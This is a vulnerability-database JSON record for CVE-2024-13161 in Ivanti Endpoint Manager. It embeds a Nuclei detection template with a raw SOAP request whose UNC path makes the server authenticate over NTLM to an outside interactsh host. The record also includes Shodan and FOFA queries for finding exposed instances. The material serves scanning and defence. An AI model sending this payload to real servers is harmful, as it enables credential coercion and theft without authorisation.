{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2024-13161/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2024-13161/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2024-13161/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2024-13161/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2024-13161/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2024-13161"},"sightings":{"href":"/api/v1/sightings/cve-2024-13161"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2024/CVE-2024-13161.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2024-13161\n\ninfo:\n  name: Ivanti EPM - Credential Coercion Vulnerability in GetHashForSingleFile\n  author: ritikchaddha\n  severity: critical\n  description: |\n    A vulnerability in Ivanti Endpoint Manager (EPM) allows an unauthenticated attacker to coerce the EPM machine account credential via the GetHashForSingleFile endpoint. The vulnerability exists due to improper input validation in the wildcard parameter, allowing an attacker to specify a remote UNC path that triggers NTLM authentication.\n  impact: |\n    Unauthenticated attackers can coerce NTLM authentication from the EPM server via UNC paths, allowing credential theft through man-in-the-middle attacks.\n  remediation: |\n    Update Ivanti Endpoint Manager (EPM) to a patched version that addresses CVE-2024-13161.\n  reference:\n    - https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/\n    - https://nvd.nist.gov/vuln/detail/CVE-2024-13161\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-13161\n    cwe-id: CWE-36\n    epss-score: 0.90081\n    epss-percentile: 0.9979\n  metadata:\n    verified: true\n    max-request: 1\n    shodan-query: http.favicon.hash:362091310\n    fofa-query: icon_hash=\"362091310\"\n  tags: cve,cve2024,ivanti,epm,ntlm,traversal,kev,vkev,vuln\n\nvariables:\n  file: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /WSVulnerabilityCore/VulCore.asmx HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Content-Type: text/xml\n        Soapaction: http://tempuri.org/GetHashForSingleFile\n\n        <?xml version=\"1.0\" encoding=\"utf-8\"?>\n        <soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">\n            <soap:Body>\n                <GetHashForSingleFile xmlns=\"http://tempuri.org/\">\n                    <wildcard>\\\\{{interactsh-url}}\\tmp\\{{file}}.txt</wildcard>\n                </GetHashForSingleFile>\n            </soap:Body>\n        </soap:Envelope>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"dns\")'\n          - 'contains(body, \"<GetHashForSingleFileResponse\")'\n          - 'contains(content_type, \"text/xml\")'\n          - 'status_code == 200'\n        condition: and\n# digest: 4a0a0047304502202e6b4ef204adc133fb36a772f9af0757dcbad34bd8cea6e0f72f7fc44f39b8bd022100d072f654be8d170685ee4a885b80629a5b1ec44f910118269209bd10c00cb03f:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2024-13161"}